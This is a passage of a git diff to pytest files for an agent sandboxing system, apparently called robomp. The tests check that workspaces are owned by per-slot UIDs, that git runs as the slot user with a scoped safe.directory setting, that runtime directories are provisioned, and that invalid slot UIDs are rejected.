env["GIT_CONFIG_KEY_0"] == "safe.directory" + assert env["GIT_CONFIG_VALUE_0"] == str(repo_dir) + assert captured["user"] == 2001 + assert captured["group"] == 2001 + assert captured["extra_groups"] == [2000] + assert captured["umask"] == 0o002 + + # ============================================================================ # HMAC behavior # ============================================================================ @@ -725,6 +755,62 @@ async def test_git_push_happy_path(proxy_settings: Settings, upstream_repo: Path assert _bare_has_branch(upstream_repo, branch) +async def test_git_push_passes_slot_uid_to_git_push( + proxy_settings: Settings, upstream_repo: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + from robomp.git_ops import PushResult + + branch = "farm/abc/slot" + repo_dir, head = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch) + captured: dict[str, object] = {} + + def fake_git_push(path: Path, **kwargs: object) -> PushResult: + captured["path"] = path + captured.update(kwargs) + return PushResult(head=head, branch=branch) + + monkeypatch.setattr("robomp.proxy.server.git_push", fake_git_push) + app = _build_app(proxy_settings) + body = ( + b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"' + + branch.encode() + + b'","expected_head":"' + + head.encode() + + b'","slot_uid":2001}' + ) + async with await _async_client(app) as client: + resp = await client.post( + "/gh/v1/git/push", + content=body, + headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"}, + ) + + assert resp.status_code == 200, resp.text + assert captured["path"] == repo_dir + assert captured["slot_uid"] == 2001 + + +@pytest.mark.parametrize("slot_uid", [0, -1, 65536]) +async def test_git_push_rejects_invalid_slot_uid(proxy_settings: Settings, slot_uid: int) -> None: + app = _build_app(proxy_settings) + body = ( + b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"x","expected_head":"' + + (b"0" * 40) + + b'","slot_uid":' + + str(slot_uid).encode() + + b"}" + ) + async with await _async_client(app) as client: + resp = await client.post( + "/gh/v1/git/push", + content=body, + headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"}, + ) + + assert resp.status_code == 400 + assert "slot_uid" in resp.text + + async def test_git_push_head_drift(proxy_settings: Settings, upstream_repo: Path) -> None: branch = "farm/abc/drift" _, _ = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch) diff --git a/tests/test_sandbox.py b/tests/test_sandbox.py index 3f8b3e75d..91e5f4234 100644 --- a/tests/test_sandbox.py +++ b/tests/test_sandbox.py @@ -13,10 +13,14 @@ from robomp.sandbox import ( SandboxManager, Workspace, _chown_workspace, + _prepare_slot_runtime_env, _prepare_slot_tmpdir, + _provision_runtime_dirs, _reap_slot, + _safe_directory_env, _share_git_metadata_with_slots, _slot_pids, + _slot_subprocess_kwargs, make_branch, rename_workspace_branch, workspace_key, @@ -155,6 +159,47 @@ def test_rename_workspace_branch_refreshes_shared_metadata(tmp_path: Path, monke assert calls == [(repo_dir, 2004)] +def test_rename_workspace_branch_runs_git_as_slot_when_permissions_active( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + root = tmp_path / "ws" + repo_dir = root / "repo" + repo_dir.mkdir(parents=True) + initial = "farm/abc12345/some-issue" + ws = Workspace( + root=root, + repo_dir=repo_dir, + session_dir=root / ".omp-session", + context_dir=root / "context", + artifacts_dir=root / "artifacts", + branch=initial, + repo_full_name="octo/widget", + issue_number=1, + ) + captured: dict[str, object] = {} + + def fake_run(cmd: list[str], **kwargs: object) -> subprocess.CompletedProcess[str]: + captured["cmd"] = cmd + captured["kwargs"] = kwargs + return subprocess.CompletedProcess(cmd, 0, "", "") + + monkeypatch.setattr("robomp.sandbox.platform.system", lambda: "Linux") + monkeypatch.setattr("robomp.sandbox.os.geteuid", lambda: 0) + monkeypatch.setattr("robomp.sandbox.subprocess.run", fake_run) + monkeypatch.setattr("robomp.sandbox._share_git_metadata_with_slots", lambda _repo_dir, _slot_uid: None) + + new_branch = rename_workspace_branch(ws, "fix-json-bom", slot_uid=2004) + + assert new_branch == "farm/abc12345/fix-json-bom" + assert captured["cmd"] == ["git", "branch", "-m", initial, "farm/abc12345/fix-json-bom"] + kwargs = captured["kwargs"] + assert isinstance(kwargs, dict) + assert kwargs["cwd"] == str(repo_dir) + assert kwargs["user"] == 2004 + assert kwargs["group"] == 2004 + assert kwargs["extra_groups"] == [2000] + + def test_rename_workspace_branch_is_idempotent_when_slug_unchanged(tmp_path: Path) -> None: root = tmp_path / "ws" repo_dir = root / "repo" @@ -384,11 +429,63 @@ def test_chown_workspace_runs_chown_and_chmod_as_root_on_linux(tmp_path: Path, m # 2001 is the slot-private GID matching the slot UID, not the shared omp group. assert calls == [ - (["chown", "-R", "0:2001", str(tmp_path)], True), + (["chown", "-R", "2001:2001", str(tmp_path)], True), (["chmod", "-R", "u=rwX,g=rwX,o=", str(tmp_path)], True), ] +def test_chown_workspace_makes_workspace_slot_owned(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + subdir = tmp_path / "subdir" + subdir.mkdir() + file_path = subdir / "file.txt" + file_path.write_text("data\n", encoding="utf-8") + tmp_path.chmod(0o777) + subdir.chmod(0o777) + file_path.chmod(0o777) + owned: dict[Path, tuple[int, int]] = {} + + def fake_run(cmd: list[str], *, check: bool) -> None: + assert check + if cmd[:2] == ["chown", "-R"]: + uid_text, gid_text = cmd[2].split(":", 1) + root = Path(cmd[3]) + uid = int(uid_text) + gid = int(gid_text) + owned[root] = (uid, gid) + for current_root, dirs, files in os.walk(root): + current = Path(current_root) + owned[current] = (uid, gid) + for dirname in dirs: + owned[current / dirname] = (uid, gid) + for filename in files: + owned[current / filename] = (uid, gid) + elif cmd[:3] == ["chmod", "-R", "u=rwX,g=rwX,o="]: + root = Path(cmd[3]) + root.chmod(0o770) + for current_root, dirs, files in os.walk(root): + current = Path(current_root) + current.chmod(0o770) + for dirname in dirs: + (current / dirname).chmod(0o770) + for filename in files: + (current / filename).chmod(0o660) + else: + raise AssertionError(f"unexpected command: {cmd!r}") + + monkeypatch.setattr("robomp.sandbox.platform.system", lambda: "Linux") + monkeypatch.setattr("robomp.sandbox.os.geteuid", lambda: 0) + monkeypatch.setattr("robomp.sandbox.subprocess.run", fake_run) + + _chown_workspace(tmp_path, 2001) + + assert owned[tmp_path] == (2001, 2001) + assert owned[subdir] == (2001, 2001) + assert owned[file_path] == (2001, 2001) + assert stat.S_IMODE(tmp_path.stat().st_mode) == 0o770 + assert stat.S_IMODE(subdir.stat().st_mode) == 0o770 + assert stat.S_IMODE(file_path.stat().st_mode) == 0o660 + + def test_slot_pids_reads_proc_status_and_skips_zombies(tmp_path: Path) -> None: nonnumeric = tmp_path / "self" nonnumeric.mkdir() @@ -442,7 +539,7 @@ def test_reap_slot_kills_slot_uid_on_linux_root(monkeypatch: pytest.MonkeyPatch) assert calls == [(111, signal.SIGKILL), (222, signal.SIGKILL)] -def test_prepare_slot_tmpdir_chowns_slot_and_locks_down(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: +def test_prepare_slot_tmpdir_mkdirs_without_chown(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: chowns: list[tuple[Path, int, int]] = [] monkeypatch.setattr("robomp.sandbox.platform.system", lambda: "Linux") @@ -454,7 +551,7 @@ def test_prepare_slot_tmpdir_chowns_slot_and_locks_down(tmp_path: Path, monkeypa assert tmpdir == tmp_path / ".omp-tmp" assert tmpdir.is_dir() assert stat.S_IMODE(tmpdir.stat().st_mode) == 0o700 - assert chowns == [(tmpdir, 2001, 2001)] + assert chowns == [] def test_prepare_slot_tmpdir_replaces_symlink_without_touching_target(tmp_path: Path) -> None: @@ -471,6 +568,73 @@ def test_prepare_slot_tmpdir_replaces_symlink_without_touching_target(tmp_path: assert target.is_dir() +def test_provision_runtime_dirs_replaces_tmpdir_symlink_and_creates_xdg_tree(tmp_path: Path) -> None: + target = tmp_path / "target" + target.mkdir() + tmpdir = tmp_path / ".omp-tmp" + tmpdir.symlink_to(target, target_is_directory=True) + + _provision_runtime_dirs(tmp_path) + + assert tmpdir.is_dir() + assert not tmpdir.is_symlink() + assert target.is_dir() + assert stat.S_IMODE(tmpdir.stat().st_mode) == 0o700 + for base in (tmp_path / ".omp-xdg" / "data", tmp_path / ".omp-xdg" / "state", tmp_path / ".omp-xdg" / "cache"): + assert base.is_dir() + assert (base / "omp").is_dir() + assert (tmp_path / ".omp-xdg" / "cache" / "bun-install").is_dir() + + +def test_safe_directory_env_scopes_single_repo_path(tmp_path: Path) -> None: + repo_dir = tmp_path / "repo" + + assert _safe_directory_env(repo_dir) == { + "GIT_CONFIG_COUNT": "1", + "GIT_CONFIG_KEY_0": "safe.directory", + "GIT_CONFIG_VALUE_0": str(repo_dir), + } + + +def test_slot_subprocess_kwargs_run_as_slot_on_linux_root(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr("robomp.sandbox.platform.system", lambda: "Linux") + monkeypatch.setattr("robomp.sandbox.os.geteuid", lambda: 0) + + assert _slot_subprocess_kwargs(2001) == { + "user": 2001, + "group": 2001, + "extra_groups": [2000], + "umask": 0o002, + } + + +def test_prepare_slot_runtime_env_returns_workspace_private_paths_without_chown( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + chowns: list[tuple[Path, int, int]] = [] + calls: list[list[str]] = [] + + monkeypatch.setattr("robomp.sandbox.platform.system", lambda: "Linux") + monkeypatch.setattr("robomp.sandbox.os.geteuid", lambda: 0) + monkeypatch.setattr("robomp.sandbox.os.chown", lambda path, uid, gid: chowns.append((Path(path), uid, gid))) + monkeypatch.setattr("robomp.sandbox.subprocess.run", lambda cmd, **_kwargs: calls.append(cmd)) + + ws = _workspace(tmp_path) + bun_cache = ws.root / ".omp-xdg" / "cache" / "bun-install" + + env = _prepare_slot_runtime_env(ws, 2001) + + assert env["TMPDIR"] == str(ws.root / ".omp-tmp") + assert env["XDG_CACHE_HOME"] == str(ws.root / ".omp-xdg" / "cache") + assert env["BUN_INSTALL_CACHE_DIR"] == str(bun_cache) + for base in (ws.root / ".omp-xdg" / "data", ws.root / ".omp-xdg" / "state", ws.root / ".omp-xdg" / "cache"): + assert base.is_dir() + assert (base / "omp").is_dir() + assert bun_cache.is_dir() + assert chowns == [] + assert calls == [] + + def test_share_git_metadata_keeps_pool_writable_for_retry_slot(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: repo_dir = tmp_path / "workspaces" / "octo__widget__43" / "repo" repo_dir.mkdir(parents=True) @@ -560,7 +724,12 @@ def test_ensure_workspace_refreshes_permissions_for_retry_slot_and_session( assert ws2.session_dir == ws1.session_dir assert transcript.is_file() assert ws2.branch == ws1.branch - assert shared == [(ws1.repo_dir, 2001), (ws1.repo_dir, 2002)] + assert shared == [ + (ws1.repo_dir, 2001), + (ws1.repo_dir, 2001), + (ws1.repo_dir, 2002), + (ws1.repo_dir, 2002), + ] assert chowns == [(ws1.root, 2001), (ws1.root, 2002)] @@ -593,6 +762,66 @@ def test_ensure_workspace_preserves_checked_out_branch_on_replay(tmp_path: Path, assert ws2.branch == renamed +def test_ensure_workspace_runs_existing_worktree_git_as_slot_after_chown( + tmp_path: Path, upstream_repo: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + mgr = SandboxManager(tmp_path / "workspaces") + ws1 = mgr.ensure_workspace( + repo="octo/widget", + number=47, + title="retry me", + clone_url=str(upstream_repo), + default_branch="main", + slot_uid=None, + author_name="robomp-bot", + author_email="robomp-bot@example.invalid", + ) + events: list[tuple[str, int | None]] = [] + git_calls: list[tuple[list[str], dict[str, object]]] = [] + + def fake_run(cmd: list[str], **kwargs: object) -> subprocess.CompletedProcess[str]: + git_calls.append((cmd, kwargs)) + if cmd[:3] == ["git", "remote", "get-url"]: + return subprocess.CompletedProcess(cmd, 0, f"{upstream_repo}\n", "") + if cmd[:4] == ["git", "symbolic-ref", "--quiet", "--short"]: + user = kwargs.get("user") + events.append(("symbolic-ref", user if isinstance(user, int) else None)) + return subprocess.CompletedProcess(cmd, 0, f"{ws1.branch}\n", "") + if cmd[:2] == ["git", "config"]: + user = kwargs.get("user") + events.append(("config", user if isinstance(user, int) else None)) + return subprocess.CompletedProcess(cmd, 0, "", "") + + def record_chown(_ws_root: Path, slot_uid: int | None) -> None: + events.append(("chown", slot_uid)) + + monkeypatch.setattr("robomp.sandbox.platform.system", lambda: "Linux") + monkeypatch.setattr("robomp.sandbox.os.geteuid", lambda: 0) + monkeypatch.setattr("robomp.sandbox.subprocess.run", fake_run) + monkeypatch.setattr("robomp.sandbox._chown_workspace", record_chown) + monkeypatch.setattr("robomp.sandbox._share_git_metadata_with_slots", lambda _repo_dir, _slot_uid: None) + + ws2 = mgr.ensure_workspace( + repo="octo/widget", + number=47, + title="retry me", + clone_url=str(upstream_repo), + default_branch="main", + slot_uid=2002, + author_name="robomp-bot", + author_email="robomp-bot@example.invalid", + ) + + assert ws2.branch == ws1.branch + assert events[0] == ("chown", 2002) + assert ("symbolic-ref", 2002) in events + assert events.index(("chown", 2002)) < events.index(("symbolic-ref", 2002)) + assert events.count(("config", 2002)) == 2 + worktree_git = [kwargs for cmd, kwargs in git_calls if cmd[:2] in (["git", "symbolic-ref"], ["git", "config"])] + assert worktree_git + assert all(kwargs["user"] == 2002 and kwargs["group"] == 2002 for kwargs in worktree_git) + + def test_ensure_workspace_invokes_slot_chown( tmp_path: Path, upstream_repo: Path, monkeypatch: pytest.MonkeyPatch ) -> None: @@ -618,6 +847,57 @@ def test_ensure_workspace_invokes_slot_chown( assert calls == [(ws.root, 2001)] +def test_ensure_workspace_provisions_and_slot_owns_runtime_dirs( + tmp_path: Path, upstream_repo: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + owned: dict[Path, tuple[int, int]] = {} + runtime_paths: list[Path] = [] + + def record_chown(ws_root: Path, slot_uid: int | None) -> None: + assert slot_uid is not None + paths = [ + ws_root / ".omp-tmp", + ws_root / ".omp-xdg" / "data", + ws_root / ".omp-xdg" / "data" / "omp", + ws_root / ".omp-xdg" / "state", + ws_root / ".omp-xdg" / "state" / "omp", + ws_root / ".omp-xdg" / "cache", + ws_root / ".omp-xdg" / "cache" / "omp", + ws_root / ".omp-xdg" / "cache" / "bun-install", + ] + runtime_paths.extend(paths) + for path in paths: + assert path.is_dir() + owned[path] = (slot_uid, slot_uid) + + monkeypatch.setattr("robomp.sandbox._chown_workspace", record_chown) + mgr = SandboxManager(tmp_path / "workspaces") + + ws = mgr.ensure_workspace( + repo="octo/widget", + number=46, + title="runtime perms", + clone_url=str(upstream_repo), + default_branch="main", + slot_uid=2001, + author_name="robomp-bot", + author_email="robomp-bot@example.invalid", + ) + + assert runtime_paths + assert set(runtime_paths) == { + ws.root / ".omp-tmp", + ws.root / ".omp-xdg" / "data", + ws.root / ".omp-xdg" / "data" / "omp", + ws.root / ".omp-xdg" / "state", + ws.root / ".omp-xdg" / "state" / "omp", + ws.root / ".omp-xdg" / "cache", + ws.root / ".omp-xdg" / "cache" / "omp", + ws.root / ".omp-xdg" / "cache" / "bun-install", + } + assert set(owned.values()) == {(2001, 2001)} + + def test_ensure_workspace_is_idempotent(tmp_path: Path, upstream_repo: Path) -> None: mgr = SandboxManager(tmp_path / "workspaces") ws1 = mgr.ensure_workspace( @@ -856,6 +1136,42 @@ def test_push_force_with_lease_refuses_when_origin_moved(tmp_path: Path, upstrea ) +def test_run_git_injects_safe_directory_and_subprocess_identity( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + from robomp.git_ops import _run_git + + captured: dict[str, object] = {} + + def fake_run(cmd: list[str], **kwargs: object) -> subprocess.CompletedProcess[str]: + captured["cmd"] = cmd + captured.update(kwargs) + return subprocess.CompletedProcess(cmd, 0, "", "") + + monkeypatch.setattr("robomp.git_ops.subprocess.run", fake_run) + + _run_git( + ["status"], + cwd=tmp_path, + token=None, + safe_directory=Path("/x"), + user=2001, + group=2001, + extra_groups=[2000], + umask=0o002, + ) + + env = captured["env"] + assert isinstance(env, dict) + assert env["GIT_CONFIG_COUNT"] == "1" + assert env["GIT_CONFIG_KEY_0"] == "safe.directory" + assert env["GIT_CONFIG_VALUE_0"] == "/x" + assert captured["user"] == 2001 + assert captured["group"] == 2001 + assert captured["extra_groups"] == [2000] + assert captured["umask"] == 0o002 + + def test_run_git_kills_hung_child(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: """A `git` invocation that hangs past the timeout must be killed and raised as `GitCommandError(124)` rather than pinning the calling diff --git a/tests/test_worker.py b/tests/test_worker.py index 0ff2b8a34..604d3beff 100644 --- a/tests/test_worker.py +++ b/tests/test_worker.py @@ -285,17 +285,25 @@ async def test_run_rpc_uses_workspace_xdg_dirs_without_slot(tmp_path: Path, sett assert env["TMPDIR"] == str(tmpdir) assert env["TMP"] == str(tmpdir) assert env["TEMP"] == str(tmpdir) + assert env["GIT_CONFIG_COUNT"] == "1" + assert env["GIT_CONFIG_KEY_0"] == "safe.directory" + assert env["GIT_CONFIG_VALUE_0"] == str(inputs.workspace.repo_dir) + assert env["GIT_AUTHOR_NAME"] == settings.resolved_author_name + assert env["GIT_AUTHOR_EMAIL"] == settings.git_author_email + assert env["GIT_COMMITTER_NAME"] == settings.resolved_author_name + assert env["GIT_COMMITTER_EMAIL"] == settings.git_author_email assert tmpdir.is_dir() assert stat.S_IMODE(tmpdir.stat().st_mode) == 0o700 @pytest.mark.asyncio -async def test_run_rpc_chowns_workspace_xdg_dirs_for_slot( +async def test_run_rpc_uses_workspace_xdg_dirs_for_slot_without_chown( tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch ) -> None: chown_calls: list[tuple[Path, int, int]] = [] - monkeypatch.setattr("robomp.worker.os.geteuid", lambda: 0) - monkeypatch.setattr("robomp.worker.os.chown", lambda path, uid, gid: chown_calls.append((Path(path), uid, gid))) + monkeypatch.setattr("robomp.sandbox.platform.system", lambda: "Linux") + monkeypatch.setattr("robomp.sandbox.os.geteuid", lambda: 0) + monkeypatch.setattr("robomp.sandbox.os.chown", lambda path, uid, gid: chown_calls.append((Path(path), uid, gid))) inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False, slot_uid=2001) loop = asyncio.new_event_loop() @@ -311,11 +319,12 @@ async def test_run_rpc_chowns_workspace_xdg_dirs_for_slot( loop.close() env = _FakeRpcClient.instances[0].kwargs["env"] - expected_dirs = set() for key in ("XDG_DATA_HOME", "XDG_STATE_HOME", "XDG_CACHE_HOME"): base = Path(env[key]) - expected_dirs.update({base, base / "omp"}) - assert set(chown_calls) == {(path, 0, 2001) for path in expected_dirs} + assert base.is_dir() + assert (base / "omp").is_dir() + assert Path(env["BUN_INSTALL_CACHE_DIR"]).is_dir() + assert chown_calls == [] @pytest.mark.asyncio